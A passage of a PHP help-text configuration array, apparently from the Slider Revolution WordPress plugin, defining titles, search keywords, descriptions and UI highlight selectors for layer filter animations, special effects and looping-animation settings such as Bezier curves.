										$h => "#frame#.chars.blur",
										$k => array("animate filter", "filter animation", "filter", "filters", "blur filter", "blur"),
										$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/blur' target='_blank'>blur filter</a> value for the Chars animation", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#chars_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_char'),
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.fuse', $v => true, $o => 'char_frame_filter')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.chars.blur']"
										)
									),
									'grayscale' => array(
										$t => __("Grayscale", 'revsliderhelp'),
										$h => "#frame#.chars.grayscale",
										$k => array("animate filter", "filter animation", "filter", "filters", "grayscale filter", "grayscale"),
										$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/grayscale' target='_blank'>grayscale filter</a> value for the Chars animation", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#filter_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_char'),
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.fuse', $v => true, $o => 'char_frame_filter')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.chars.grayscale']"
										)
									),
									'brightness' => array(
										$t => __("Brightness", 'revsliderhelp'),
										$h => "#frame#.chars.brightness",
										$k => array("animate filter", "filter animation", "filter", "filters", "brightness filter", "brightness"),
										$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/brightness' target='_blank'>brightness filter</a> value for the Chars animation", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#filter_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_char'),
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.fuse', $v => true, $o => 'char_frame_filter')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.chars.brightness']"
										)
									)
								),
								'filter_words' => array(
									'enable' => array(
										$di => "word_frame_filter",
										$t => __("Enable Filter Animation", 'revsliderhelp'),
										$h => "#frame#.words.fuse",
										$k => array("animate filter", "filter animation", "filter", "filters"),
										$d => __("Animate the word animation's blur, grayscale or brightness filter", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#words_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.words.use', $v => true, $o => 'layer_frame_word')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.words.fuse']"
										)
									),
									'blur' => array(
										$t => __("Blur Filter", 'revsliderhelp'),
										$h => "#frame#.words.blur",
										$k => array("animate filter", "filter animation", "filter", "filters", "blur filter", "blur"),
										$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/blur' target='_blank'>blur filter</a> value for the words animation", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#words_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_word'),
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.words.fuse', $v => true, $o => 'word_frame_filter')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.words.blur']"
										)
									),
									'grayscale' => array(
										$t => __("Grayscale", 'revsliderhelp'),
										$h => "#frame#.words.grayscale",
										$k => array("animate filter", "filter animation", "filter", "filters", "grayscale filter", "grayscale"),
										$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/grayscale' target='_blank'>grayscale filter</a> value for the words animation", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#filter_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_word'),
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.words.fuse', $v => true, $o => 'word_frame_filter')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.words.grayscale']"
										)
									),
									'brightness' => array(
										$t => __("Brightness", 'revsliderhelp'),
										$h => "#frame#.words.brightness",
										$k => array("animate filter", "filter animation", "filter", "filters", "brightness filter", "brightness"),
										$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/brightness' target='_blank'>brightness filter</a> value for the words animation", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#filter_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_word'),
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.words.fuse', $v => true, $o => 'word_frame_filter')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.words.brightness']"
										)
									)
								),
								'filter_lines' => array(
									'enable' => array(
										$di => "line_frame_filter",
										$t => __("Enable Filter Animation", 'revsliderhelp'),
										$h => "#frame#.lines.fuse",
										$k => array("animate filter", "filter animation", "filter", "filters"),
										$d => __("Animate the line animation's blur, grayscale or brightness filter", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#lines_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.lines.use', $v => true, $o => 'layer_frame_line')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.lines.fuse']"
										)
									),
									'blur' => array(
										$t => __("Blur Filter", 'revsliderhelp'),
										$h => "#frame#.lines.blur",
										$k => array("animate filter", "filter animation", "filter", "filters", "blur filter", "blur"),
										$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/blur' target='_blank'>blur filter</a> value for the lines animation", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#lines_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_line'),
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.lines.fuse', $v => true, $o => 'line_frame_filter')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.lines.blur']"
										)
									),
									'grayscale' => array(
										$t => __("Grayscale", 'revsliderhelp'),
										$h => "#frame#.lines.grayscale",
										$k => array("animate filter", "filter animation", "filter", "filters", "grayscale filter", "grayscale"),
										$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/grayscale' target='_blank'>grayscale filter</a> value for the lines animation", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#filter_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_line'),
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.lines.fuse', $v => true, $o => 'line_frame_filter')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.lines.grayscale']"
										)
									),
									'brightness' => array(
										$t => __("Brightness", 'revsliderhelp'),
										$h => "#frame#.lines.brightness",
										$k => array("animate filter", "filter animation", "filter", "filters", "brightness filter", "brightness"),
										$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/brightness' target='_blank'>brightness filter</a> value for the lines animation", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#filter_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_line'),
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.lines.fuse', $v => true, $o => 'line_frame_filter')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.lines.brightness']"
										)
									)
								)
							)
						),
						'sfx' => array(
							$t => __("Special Effects", 'revsliderhelp'),
							$h => "#frame#.sfx.effect",
							$k => array("sfx", "special effects", "block animations", "block transitions"),
							$d => __("Choose a predefined special effect to use as the Layer's animation", 'revsliderhelp'),
							$a => $u . "layer-animations/#advanced-settings",
							$hl => array(
								$dp => array('layerselected', '#sfx_ts_wrapbrtn .transtarget_selector'), 
								$m => "#module_layers_trigger, #gst_layer_4", 
								$st => '#form_animation_sframes:nth-child(3)', 
								$f => "#layer_frame_sfx"
							)
						)
					),
					'gst_layer_15' => array(
						'timeline' => array(
							'enable' => array(
								$di => "looping_timeline",
								$t => __("Loop Layer's Timeline", 'revsliderhelp'),
								$h => "timeline.tloop.use",
								$k => array("loop", "looping", "loop animation", "looping animation", "animation", "timeline", "loop timeline"),
								$d => __("Loop all or part of the Layer's timeline animation", 'revsliderhelp'),
								$a => $u . "looping-animations/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-1 .ssmbtn", 
									$st => '#form_animation_sloop', 
									$f => "*[data-r='timeline.tloop.use']"
								)
							),
							'start_frame' => array(
								$t => __("Loop Start Frame", 'revsliderhelp'),
								$h => "timeline.tloop.from",
								$k => array("loop start", "start loop", "start loop animation", "start frame", "loop start frame", "loop", "timeline"),
								$d => __("Choose which point in the Layer's timeline it should begin from for the loop animation", 'revsliderhelp'),
								$a => $u . "looping-animations/",
								$hl => array(
									$dp => array(
										'layerselected',
										array($p => '#slide#.layers.#layer#.timeline.tloop.use', $v => true, $o => 'looping_timeline')
									), 
									$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-1 .ssmbtn", 
									$st => '#form_layer_loop_timeline', 
									$f => "*[data-r='timeline.tloop.from']"
								)
							),
							'end_frame' => array(
								$t => __("Loop End Frame", 'revsliderhelp'),
								$h => "timeline.tloop.to",
								$k => array("loop end", "end loop", "end loop animation", "end frame", "loop end frame", "loop", "timeline"),
								$d => __("Choose which point in the Layer's timeline it should play to before it animates again", 'revsliderhelp'),
								$a => $u . "looping-animations/",
								$hl => array(
									$dp => array(
										'layerselected',
										array($p => '#slide#.layers.#layer#.timeline.tloop.use', $v => true, $o => 'looping_timeline')
									), 
									$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-1 .ssmbtn", 
									$st => '#form_layer_loop_timeline', 
									$f => "*[data-r='timeline.tloop.to']"
								)
							),
							'loop_amount' => array(
								$t => __("Num Loops", 'revsliderhelp'),
								$h => "timeline.tloop.repeat",
								$k => array("loop timeline", "loop", "num loops", "loop amount", "timeline"),
								$d => __("The number of times the Layer's selected timeline should loop.  Enter '-1' to loop continously throughout the life-cycle of the current Slide", 'revsliderhelp'),
								$a => $u . "looping-animations/",
								$hl => array(
									$dp => array(
										'layerselected',
										array($p => '#slide#.layers.#layer#.timeline.tloop.use', $v => true, $o => 'looping_timeline')
									), 
									$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-1 .ssmbtn", 
									$st => '#form_layer_loop_timeline', 
									$f => "#la_timeline_loop_amnt"
								)
							),
							'animate_to_start' => array(
								$t => __("Animate to Start", 'revsliderhelp'),
								$h => "timeline.tloop.keep",
								$k => array("loop timeline", "loop", "timeline", "animate to start"),
								$d => __("Animate the Layer back to its starting values in the loop once the last frame is reached.  Useful for creating a more natural looping visual.", 'revsliderhelp'),
								$a => $u . "looping-animations/",
								$hl => array(
									$dp => array(
										'layerselected',
										array($p => '#slide#.layers.#layer#.timeline.tloop.use', $v => true, $o => 'looping_timeline')
									), 
									$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-1 .ssmbtn", 
									$st => '#form_layer_loop_timeline', 
									$f => "*[data-r='timeline.tloop.keep']"
								)
							)
						),
						'effects' => array(
							'enable' => array(
								$di => "layer_looping",
								$t => __("Add Loop Animation", 'revsliderhelp'),
								$h => "timeline.loop.use",
								$k => array("loop", "looping", "loop animation", "looping animation", "animation"),
								$d => __("Add a continuously looping animation to the Layer", 'revsliderhelp'),
								$a => $u . "looping-animations/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
									$st => '#form_animation_sloop', 
									$f => "*[data-r='timeline.loop.use']"
								)
							),
							'start' => array(
								$t => __("Start Time", 'revsliderhelp'),
								$h => "timeline.loop.start",
								$k => array("loop start", "start loop", "start loop animation"),
								$d => __("Define when the loop animation should begin after the Slide is shown", 'revsliderhelp'),
								$a => $u . "looping-animations/",
								$hl => array(
									$dp => array(
										'layerselected',
										array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping')
									), 
									$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
									$st => '#form_layer_loop_effect', 
									$f => "*[data-r='timeline.loop.start']"
								)
							),
							'duration' => array(
								$t => __("Animation Duration", 'revsliderhelp'),
								$h => "timeline.loop.speed",
								$k => array("loop duration", "loop animation time"),
								$d => __("The amount of time each loop animation should occur before it begins again", 'revsliderhelp'),
								$a => $u . "looping-animations/",
								$hl => array(
									$dp => array(
										'layerselected',
										array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping')
									), 
									$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
									$st => '#form_layer_loop_effect', 
									$f => "*[data-r='timeline.loop.speed']"
								)
							),
							'easing' => array(
								$t => __("Animation Easing", 'revsliderhelp'),
								$h => "timeline.loop.ease",
								$k => array("loop easing", "loop animation easing"),
								$d => __("The easing equation to be used for the loop animation", 'revsliderhelp'),
								$a => $u . "looping-animations/",
								$hl => array(
									$dp => array(
										'layerselected',
										array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping')
									), 
									$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
									$st => '#form_layer_loop_effect', 
									$f => "#le_frame_ease_loop"
								)
							),
							'transform_origin' => array(
								'originx' => array(
									$t => __("Transform Origin X", 'revsliderhelp'),
									$h => "timeline.loop.originX",
									$k => array("animation origin", "animation originx", "transform origin", "transform-origin"),
									$d => __("The 'x' axis for the Layer's <a href='https://www.w3schools.com/cssref/css3_pr_transform-origin.asp' target='_blank'>transform-origin</a> applied to the loop animation.", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping')
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#form_layer_loop_effect', 
										$f => "*[data-r='timeline.loop.originX']"
									)
								),
								'originy' => array(
									$t => __("Transform Origin Y", 'revsliderhelp'),
									$h => "timeline.loop.originY",
									$k => array("animation origin", "animation originx", "transform origin", "transform-origin"),
									$d => __("The 'y' axis for the Layer's <a href='https://www.w3schools.com/cssref/css3_pr_transform-origin.asp' target='_blank'>transform-origin</a> applied to the loop animation.", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping')
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#form_layer_loop_effect', 
										$f => "*[data-r='timeline.loop.originY']"
									)
								),
								'originz' => array(
									$t => __("Transform Origin Z", 'revsliderhelp'),
									$h => "timeline.loop.originZ",
									$k => array("animation origin", "animation originx", "transform origin", "transform-origin"),
									$d => __("The 'z' axis for the Layer's <a href='https://www.w3schools.com/cssref/css3_pr_transform-origin.asp' target='_blank'>transform-origin</a> applied to the loop animation.", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping')
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#form_layer_loop_effect', 
										$f => "*[data-r='timeline.loop.originZ']"
									)
								)
							),
							'move' => array(
								'yoyo' => array(
									$t => __("Yoyo Movement", 'revsliderhelp'),
									$h => "timeline.loop.yoyo_move",
									$k => array("yoyo", "yoyo animation", "yoyo transition", "loop animation"),
									$d => __("Reverse the position as soon as the animation ends and vice versa", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_move_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn', 
										$f => "*[data-r='timeline.loop.yoyo_move']"
									)
								),
								'startx' => array(
									$t => __("Start X Position", 'revsliderhelp'),
									$h => "timeline.loop.frame_0.x",
									$k => array("animation position", "layer animation position", "animate left", "animate right", "translatex"),
									$d => __("The 'x' (left) position to apply at the start of the loop animation.  Accepts positive and negative numbers.", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_move_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn', 
										$f => "*[data-r='timeline.loop.frame_0.x']"
									)
								),
								'endx' => array(
									$t => __("End X Position", 'revsliderhelp'),
									$h => "timeline.loop.frame_999.x",
									$k => array("animation position", "layer animation position", "animate left", "animate right", "translatex"),
									$d => __("Animate the Layer to this 'x' (left) position.  Accepts positive and negative numbers.", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_move_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn', 
										$f => "*[data-r='timeline.loop.frame_999.x']"
									)
								),
								'starty' => array(
									$t => __("Start Y Position", 'revsliderhelp'),
									$h => "timeline.loop.frame_0.y",
									$k => array("animation position", "layer animation position", "animate top", "animate bottom", "translatey"),
									$d => __("The 'y' (top) position to apply at the start of the loop animation.  Accepts positive and negative numbers.", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_move_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn', 
										$f => "*[data-r='timeline.loop.frame_0.y']"
									)
								),
								'endy' => array(
									$t => __("End Y Position", 'revsliderhelp'),
									$h => "timeline.loop.frame_999.y",
									$k => array("animation position", "layer animation position", "animate top", "animate bottom", "translatey"),
									$d => __("Animate the Layer to this 'y' (top) position.  Accepts positive and negative numbers.", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_move_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn', 
										$f => "*[data-r='timeline.loop.frame_999.y']"
									)
								),
								'startz' => array(
									$t => __("Start Z Position", 'revsliderhelp'),
									$h => "timeline.loop.frame_0.z",
									$k => array("animation depth", "animation z", "translatez", "3d"),
									$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/translateZ' target=_'blank'>CSS translateZ</a> at the start of the loop animation.  This adds/removes 3D depth to the Layer", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_move_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn', 
										$f => "*[data-r='timeline.loop.frame_0.z']"
									)
								),
								'endz' => array(
									$t => __("End Z Position", 'revsliderhelp'),
									$h => "timeline.loop.frame_999.z",
									$k => array("animation depth", "animation z", "translatez", "3d"),
									$d => __("Animate the Layer's <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/translateZ' target=_'blank'>CSS translateZ</a> property to this value.  This adds/removes 3D depth to the Layer", 'revsliderhelp'),
									$a => $u . "looping-animations/",
									$hl => array(
										$dp => array(
											'layerselected',
											array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
											'*[data-showloop="#loop_move_settings"]'
										), 
										$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
										$st => '#layer_loop_settings .loop_wrapbrtn',
										$f => "*[data-r='timeline.loop.frame_999.z']"
									)
								),
								'curved' => array(
									'enable' => array(
										$di => "layer_loop_move_curved",
										$t => __("Add a Bezier Curve", 'revsliderhelp'),
										$h => "timeline.loop.curved",
										$k => array("curved", "curved animation", "bezier", "bezier curve"),
										$d => __("Adds a middle point to the movement between the starting and ending points", 'revsliderhelp'),
										$a => $u . "looping-animations/",
										$hl => array(
											$dp => array(
												'layerselected',
												array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
												'*[data-showloop="#loop_move_settings"]'
											), 
											$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
											$st => '#layer_loop_settings .loop_wrapbrtn',
											$f => "*[data-r='timeline.loop.curved']"
										)
									),
									'auto_rotate' => array(
										$t => __("Auto Rotate Bezier", 'revsliderhelp'),
										$h => "timeline.loop.autoRotate",
										$k => array("curved", "curved animation", "bezier", "bezier curve"),
										$d => __("Automatically rotate the Layer according to its position along the Bezier path", 'revsliderhelp'),
										$a => $u . "looping-animations/",
										$hl => array(
											$dp => array(
												'layerselected',
												array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
												'*[data-showloop="#loop_move_settings"]',
												array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved')
											), 
											$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
											$st => '#layer_loop_settings .loop_wrapbrtn',
											$f => "*[data-r='timeline.loop.autoRotate']"
										)
									),
									'angle' => array(
										$t => __("Bezier Curve Angle", 'revsliderhelp'),
										$h => "timeline.loop.radiusAngle",
										$k => array("curved", "curved animation", "bezier", "bezier curve", "curve angle", "angle"),
										$d => __("Represents the curve's placement in the animation.  Lower degrees will place the curve toward the beginning, and higher degrees toward the end.", 'revsliderhelp'),
										$a => $u . "looping-animations/",
										$hl => array(
											$dp => array(
												'layerselected',
												array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
												'*[data-showloop="#loop_move_settings"]',
												array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved')
											), 
											$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
											$st => '#layer_loop_settings .loop_wrapbrtn',
											$f => "#le_loop_startangle"
										)
									),
									'tension' => array(
										$t => __("Bezier Curve Tension", 'revsliderhelp'),
										$h => "timeline.loop.curviness",
										$k => array("curved", "curved animation", "bezier", "bezier curve", "curve angle", "tension"),
										$d => __("Magnify the curve by this value.  1 = no magnification.  2 = twice the curve, etc.", 'revsliderhelp'),
										$a => $u . "looping-animations/",
										$hl => array(
											$dp => array(
												'layerselected',
												array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
												'*[data-showloop="#loop_move_settings"]',
												array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved')
											), 
											$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
											$st => '#layer_loop_settings .loop_wrapbrtn',
											$f => "*[data-r='timeline.loop.curviness']"
										)
									),
									'bezier_x_start' => array(
										$t => __("Bezier Start Point X", 'revsliderhelp'),
										$h => "timeline.loop.frame_0.xr",
										$k => array("curved", "curved animation", "bezier", "bezier curve"),
										$d => __("Represents the starting 'x' (left) position for the bezier curve", 'revsliderhelp'),
										$a => $u . "looping-animations/",
										$hl => array(
											$dp => array(
												'layerselected',
												array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
												'*[data-showloop="#loop_move_settings"]',
												array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved')
											), 
											$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
											$st => '#layer_loop_settings .loop_wrapbrtn',
											$f => "*[data-r='timeline.loop.frame_0.xr']"
										)
									),
									'bezier_x_end' => array(
										$t => __("Bezier End Point X", 'revsliderhelp'),
										$h => "timeline.loop.frame_999.xr",
										$k => array("curved", "curved animation", "bezier", "bezier curve"),
										$d => __("Represents the ending 'x' (left) position for the bezier curve", 'revsliderhelp'),
										$a => $u . "looping-animations/",
										$hl => array(
											$dp => array(
												'layerselected',
												array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
												'*[data-showloop="#loop_move_settings"]',
												array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved')
											), 
											$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
											$st => '#layer_loop_settings .loop_wrapbrtn',
											$f => "*[data-r='timeline.loop.frame_999.xr']"
										)
									),
									'bezier_y_start' => array(
										$t => __("Bezier Start Point Y", 'revsliderhelp'),
										$h => "timeline.loop.frame_0.yr",
										$k => array("curved", "curved animation", "bezier", "bezier curve"),
										$d => __("Represents the starting 'y' (top) position for the bezier curve", 'revsliderhelp'),
										$a => $u . "looping-animations/",
										$hl => array(
											$dp => array(
												'layerselected',
												array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
												'*[data-showloop="#loop_move_settings"]',
												array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved')
											), 
											$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
											$st => '#layer_loop_settings .loop_wrapbrtn',
											$f => "*[data-r='timeline.loop.frame_0.yr']"
										)
									),
									'bezier_y_end' => array(
										$t => __("Bezier End Point Y", 'revsliderhelp'),
										$h => "timeline.loop.frame_999.yr",
										$k => array("curved", "curved animation", "bezier", "bezier curve"),
										$d => __("Represents the ending 'y' (top) position for the bezier curve", 'revsliderhelp'),
										$a => $u . "looping-animations/",
										$hl => array(
											$dp => array(
												'layerselected',
												array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
												'*[data-showloop="#loop_move_settings"]',
												array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved')
											), 
											$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
											$st => '#layer_loop_settings .loop_wrapbrtn',
											$f => "*[data-r='timeline.loop.frame_999.yr']"
										)
									),
									'bezier_z_start' => array(
										$t => __("Bezier Start Point Z", 'revsliderhelp'),
										$h => "timeline.loop.frame_0.zr",
										$k => array("curved", "curved animation", "bezier", "bezier curve"),
										$d => __("Represents the starting 'z' (3D depth) position for the bezier curve", 'revsliderhelp'),
										$a => $u . "looping-animations/",
										$hl => array(
											$dp => array(
												'layerselected',
												array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'),
												'*[data-showloop="#loop_move_settings"]',
												array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved')
											), 
											$m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", 
											$st => '#layer_loop_settings .loop_wrapbrtn',
											$f => "*[data-r='timeline.loop.frame_0.zr']"
										)
									),
